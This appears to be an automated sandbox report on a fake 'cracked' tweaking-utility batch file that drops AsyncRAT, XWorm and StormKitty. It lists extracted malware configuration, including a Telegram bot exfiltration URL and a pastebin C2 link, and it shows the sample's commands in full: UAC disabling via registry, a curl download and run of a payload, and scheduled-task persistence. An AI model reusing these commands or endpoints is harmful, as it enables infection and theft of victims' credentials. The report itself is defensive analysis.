asyncrat | 63577b4677fe321246f2b6991639c920b55d4991b8fcf5986787ea1cd55e3250

Analysis

max time kernel
71s
max time network
72s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 11:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

EXM_Premium_Tweaking_Utility_1.0_Cracked.bat
Size

672KB
MD5

62effd806c73fab27bdae3a51dd955d8
SHA1

8ce251bd3d0a31fca442884a3fe0ebe940d08ca0
SHA256

63577b4677fe321246f2b6991639c920b55d4991b8fcf5986787ea1cd55e3250
SHA512

19e954a8bdae76848188b2b12675bce8d56df30e6ffaa9e7b07b888631419e23c2f40e176ed8ea7f7b6b0a7ae7521ca06ed6dc4cb53663bf9b7fdc888dc7aaaa
SSDEEP

3072:FWGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:FWGiVNEn14IZVvisL43

Score

10^/10

asyncrat stormkitty xworm default discovery evasion execution persistence privilege_escalation pyinstaller rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000500000001db22-76.dat	family_xworm
behavioral1/memory/1104-129-0x0000000000EB0000-0x0000000000EDA000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000500000001db24-105.dat	family_stormkitty
behavioral1/memory/5096-132-0x0000000000B40000-0x0000000000B7E000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000500000001db24-105.dat	family_asyncrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	EXMservice.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	msedge.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 4 IoCs

pid	Process
3180	EXMservice.exe
1104	msedge.exe
5096	svchost.exe
1036	msedge.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
44	pastebin.com
45	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
54	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4556	powershell.exe
1688	powershell.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000500000001db11-317.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5020	netsh.exe
1608	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4980	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1104	msedge.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
4556	powershell.exe
4556	powershell.exe
1688	powershell.exe
1688	powershell.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
1104	msedge.exe
1104	msedge.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
5096	svchost.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe
1104	msedge.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeIncreaseQuotaPrivilege	4828	WMIC.exe
Token: SeSecurityPrivilege	4828	WMIC.exe
Token: SeTakeOwnershipPrivilege	4828	WMIC.exe
Token: SeLoadDriverPrivilege	4828	WMIC.exe
Token: SeSystemProfilePrivilege	4828	WMIC.exe
Token: SeSystemtimePrivilege	4828	WMIC.exe
Token: SeProfSingleProcessPrivilege	4828	WMIC.exe
Token: SeIncBasePriorityPrivilege	4828	WMIC.exe
Token: SeCreatePagefilePrivilege	4828	WMIC.exe
Token: SeBackupPrivilege	4828	WMIC.exe
Token: SeRestorePrivilege	4828	WMIC.exe
Token: SeShutdownPrivilege	4828	WMIC.exe
Token: SeDebugPrivilege	4828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4828	WMIC.exe
Token: SeRemoteShutdownPrivilege	4828	WMIC.exe
Token: SeUndockPrivilege	4828	WMIC.exe
Token: SeManageVolumePrivilege	4828	WMIC.exe
Token: 33	4828	WMIC.exe
Token: 34	4828	WMIC.exe
Token: 35	4828	WMIC.exe
Token: 36	4828	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4828	WMIC.exe
Token: SeSecurityPrivilege	4828	WMIC.exe
Token: SeTakeOwnershipPrivilege	4828	WMIC.exe
Token: SeLoadDriverPrivilege	4828	WMIC.exe
Token: SeSystemProfilePrivilege	4828	WMIC.exe
Token: SeSystemtimePrivilege	4828	WMIC.exe
Token: SeProfSingleProcessPrivilege	4828	WMIC.exe
Token: SeIncBasePriorityPrivilege	4828	WMIC.exe
Token: SeCreatePagefilePrivilege	4828	WMIC.exe
Token: SeBackupPrivilege	4828	WMIC.exe
Token: SeRestorePrivilege	4828	WMIC.exe
Token: SeShutdownPrivilege	4828	WMIC.exe
Token: SeDebugPrivilege	4828	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4828	WMIC.exe
Token: SeRemoteShutdownPrivilege	4828	WMIC.exe
Token: SeUndockPrivilege	4828	WMIC.exe
Token: SeManageVolumePrivilege	4828	WMIC.exe
Token: 33	4828	WMIC.exe
Token: 34	4828	WMIC.exe
Token: 35	4828	WMIC.exe
Token: 36	4828	WMIC.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1104	msedge.exe
Token: SeDebugPrivilege	5096	svchost.exe
Token: SeDebugPrivilege	1104	msedge.exe
Token: SeDebugPrivilege	1036	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1104	msedge.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 3656 wrote to memory of 3000	3656	cmd.exe	84
PID 3656 wrote to memory of 3000	3656	cmd.exe	84
PID 3656 wrote to memory of 2412	3656	cmd.exe	85
PID 3656 wrote to memory of 2412	3656	cmd.exe	85
PID 3656 wrote to memory of 1440	3656	cmd.exe	86
PID 3656 wrote to memory of 1440	3656	cmd.exe	86
PID 3656 wrote to memory of 4556	3656	cmd.exe	87
PID 3656 wrote to memory of 4556	3656	cmd.exe	87
PID 3656 wrote to memory of 3008	3656	cmd.exe	90
PID 3656 wrote to memory of 3008	3656	cmd.exe	90
PID 3656 wrote to memory of 4484	3656	cmd.exe	91
PID 3656 wrote to memory of 4484	3656	cmd.exe	91
PID 3656 wrote to memory of 4312	3656	cmd.exe	92
PID 3656 wrote to memory of 4312	3656	cmd.exe	92
PID 4312 wrote to memory of 4828	4312	cmd.exe	93
PID 4312 wrote to memory of 4828	4312	cmd.exe	93
PID 4312 wrote to memory of 3740	4312	cmd.exe	94
PID 4312 wrote to memory of 3740	4312	cmd.exe	94
PID 3656 wrote to memory of 3912	3656	cmd.exe	95
PID 3656 wrote to memory of 3912	3656	cmd.exe	95
PID 3656 wrote to memory of 5012	3656	cmd.exe	110
PID 3656 wrote to memory of 5012	3656	cmd.exe	110
PID 3656 wrote to memory of 4224	3656	cmd.exe	111
PID 3656 wrote to memory of 4224	3656	cmd.exe	111
PID 3656 wrote to memory of 1688	3656	cmd.exe	112
PID 3656 wrote to memory of 1688	3656	cmd.exe	112
PID 3656 wrote to memory of 3180	3656	cmd.exe	113
PID 3656 wrote to memory of 3180	3656	cmd.exe	113
PID 3180 wrote to memory of 1104	3180	EXMservice.exe	114
PID 3180 wrote to memory of 1104	3180	EXMservice.exe	114
PID 3180 wrote to memory of 5096	3180	EXMservice.exe	115
PID 3180 wrote to memory of 5096	3180	EXMservice.exe	115
PID 3180 wrote to memory of 5096	3180	EXMservice.exe	115
PID 3656 wrote to memory of 2360	3656	cmd.exe	116
PID 3656 wrote to memory of 2360	3656	cmd.exe	116
PID 1104 wrote to memory of 4980	1104	msedge.exe	117
PID 1104 wrote to memory of 4980	1104	msedge.exe	117
PID 5096 wrote to memory of 1608	5096	svchost.exe	119
PID 5096 wrote to memory of 1608	5096	svchost.exe	119
PID 5096 wrote to memory of 1608	5096	svchost.exe	119
PID 1608 wrote to memory of 2144	1608	cmd.exe	121
PID 1608 wrote to memory of 2144	1608	cmd.exe	121
PID 1608 wrote to memory of 2144	1608	cmd.exe	121
PID 1608 wrote to memory of 5020	1608	cmd.exe	122
PID 1608 wrote to memory of 5020	1608	cmd.exe	122
PID 1608 wrote to memory of 5020	1608	cmd.exe	122
PID 1608 wrote to memory of 2452	1608	cmd.exe	123
PID 1608 wrote to memory of 2452	1608	cmd.exe	123
PID 1608 wrote to memory of 2452	1608	cmd.exe	123
PID 5096 wrote to memory of 872	5096	svchost.exe	125
PID 5096 wrote to memory of 872	5096	svchost.exe	125
PID 5096 wrote to memory of 872	5096	svchost.exe	125
PID 872 wrote to memory of 4872	872	cmd.exe	127
PID 872 wrote to memory of 4872	872	cmd.exe	127
PID 872 wrote to memory of 4872	872	cmd.exe	127
PID 872 wrote to memory of 116	872	cmd.exe	128
PID 872 wrote to memory of 116	872	cmd.exe	128
PID 872 wrote to memory of 116	872	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3656
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
  2⤵
  PID:3000
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
  2⤵
  PID:2412
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
  2⤵
  PID:1440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4556
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:3008
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
  2⤵
  PID:4484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_UserAccount where name="Admin" get sid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4828
- - C:\Windows\system32\findstr.exe
    findstr "S-"
    3⤵
    PID:3740
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3912
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:5012
- C:\Windows\system32\curl.exe
  curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
  2⤵
  PID:4224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\exm\EXMservice.exe
  EXMservice.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Users\Admin\msedge.exe
    "C:\Users\Admin\msedge.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4980
- - C:\Users\Admin\svchost.exe
    "C:\Users\Admin\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:1608
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2144
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5020
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2452
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:872
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4872
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:116
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2360

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2928

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\1fa751ba57257cbb1f4bc5f53950fad7\msgid.dat

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\73e664de3dcf9d4c2ac41070c40da89c\Admin@GYHASOLS_en-US\System\Process.txt

Filesize
4KB

MD5
1307b42682004460ad19197117784bc2

SHA1
d5952c1e9e498428cbb9e4bb50f94ae951dcfeb5

SHA256
e14f6b3e0592f9c69c7168e95dfd0455993ea7360e2224d263626c1d4a89a0c5

SHA512
8efcd74bb55e634da8465def7977faac24ea4903cc617331ea3885f3ded861071b4cd234ec910fb49b68793be3e0e5430765ee6699a88bf9a1c29d03916d3929

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
feadc4e1a70c13480ef147aca0c47bc0

SHA1
d7a5084c93842a290b24dacec0cd3904c2266819

SHA256
5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

SHA512
c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hmjpybx4.o3z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exm.zip

Filesize
13.3MB

MD5
57a6527690625bea4e4f668e7db6b2aa

SHA1
c5799fd94999d128203e81e22c6d9fdb86e167ee

SHA256
076e01b09f9c5cccc273b2f7dfa1a1efccc1a8e8ebf98a7eee756024b93bad17

SHA512
d86c7f79989eb0781e15f8631048506ffab338f933ddfedbcc2c7464447770beaf21b7ed3cba2ebb97be5ffdc9a450f2df2e2313efaeb8e8101f2ee53c066e4e

Download Submit
C:\Users\Admin\msedge.exe

Filesize
146KB

MD5
f1c2525da4f545e783535c2875962c13

SHA1
92bf515741775fac22690efc0e400f6997eba735

SHA256
9e6985fdb3bfa539f3d6d6fca9aaf18356c28a00604c4f961562c34fa9f11d0f

SHA512
56308ac106caa84798925661406a25047df8d90e4b65b587b261010293587938fa922fbb2cfdedfe71139e16bfcf38e54bb31cbcc00cd244db15d756459b6133

Download Submit
C:\Users\Admin\svchost.exe

Filesize
226KB

MD5
1bea6c3f126cf5446f134d0926705cee

SHA1
02c49933d0c2cc068402a93578d4768745490d58

SHA256
1d69b5b87c4cd1251c5c94461a455659febb683eab0ebd97dd30da2319ffc638

SHA512
eb9f423f6adb5e686a53f5f197e6b08455f8048d965a9ec850838fdf4724ef87f68945c435ace5a48a9a7226006a348e97586335d0246ea0dc898a412dea5df3

Download Submit
C:\exm\Autoruns\Autoruns.exe

Filesize
1.7MB

MD5
17bd13edd536269c417ba8e1b4534fbe

SHA1
22470bb3a4c37a0c612ff7ad2596306065ac0c9b

SHA256
6111a70da65153e6ded71eae2057bf6760f340476261f6e15a80479daf9724eb

SHA512
00d8c80dcfdda235d06160b40d06e47bd0be5178c5fb2b26bf4cd984eae520d877517a16d1a62d88ed1f0a46244eafd4cc4b4183a35f85d13b250e492d441455

Download Submit
C:\exm\Autoruns\Autoruns64.exe

Filesize
1.9MB

MD5
6ae8e963b33ee52df761412b451b2962

SHA1
f7ab1987848a91af2c77a72583211dcadeed420a

SHA256
f59056339de56820e57c961d6ddd9032bd78af9f2333797944f4ee57b77ee2ca

SHA512
472f07bb37966d056d9efb97e4b686951987ca358a9f213fa6db5ec50cf4a32084cb18c863c8c1add20a2619154cf9f4705541e27c196142917eb9491b54846a

Download Submit
C:\exm\Autoruns\Autoruns64a.exe

Filesize
2.0MB

MD5
d518661b0940e2464aa8d3073599ab89

SHA1
66be7b41b80477d7ea0045319a08362253d08097

SHA256
d6aee475688b942a2ea49ba4cc5c73ca97191ad91d7d8c2e4a57e07dcf9c9ba6

SHA512
e12967de56c1e514c22adeac308c87b2ee12d86055fb3b4e456db29bb653254cc96715afc3b701ff21c5137b2223a67bbb84a08fd05bfd15f199bdb6ab24e915

Download Submit
C:\exm\Autoruns\Eula.txt

Filesize
7KB

MD5
8c24c4084cdc3b7e7f7a88444a012bfc

SHA1
5ab806618497189342722d42dc382623ac3e1b55

SHA256
8329bcbadc7f81539a4969ca13f0be5b8eb7652b912324a1926fc9bfb6ec005a

SHA512
6c74bed85638871fd834b30183e1536e48512dd0f8471624732ac1b487f0eba34dec99f88d2d583335f66df543d5fabf4b8c9456255df2248a4c086f111f0baa

Download Submit
C:\exm\Autoruns\autoruns.chm

Filesize
24KB

MD5
2c099793584365b8897fca7a4fa397e8

SHA1
50eaf2f529b1e923f7d0238ea8d3eb2187ad19cf

SHA256
ecb58342290940a5eb6b72be6faa1d0afeec9df5898df3e026d75b7b08bd8f9a

SHA512
ae407cd6b2d6ddf033f04b19ddf168423f819a4a42834afe03b7c35f86dd7b6572ced6c325fd9a56eacc9613944c4f3d17831d15713a35f0ea24f4c4c14af0ce

Download Submit
C:\exm\Autoruns\autorunsc.exe

Filesize
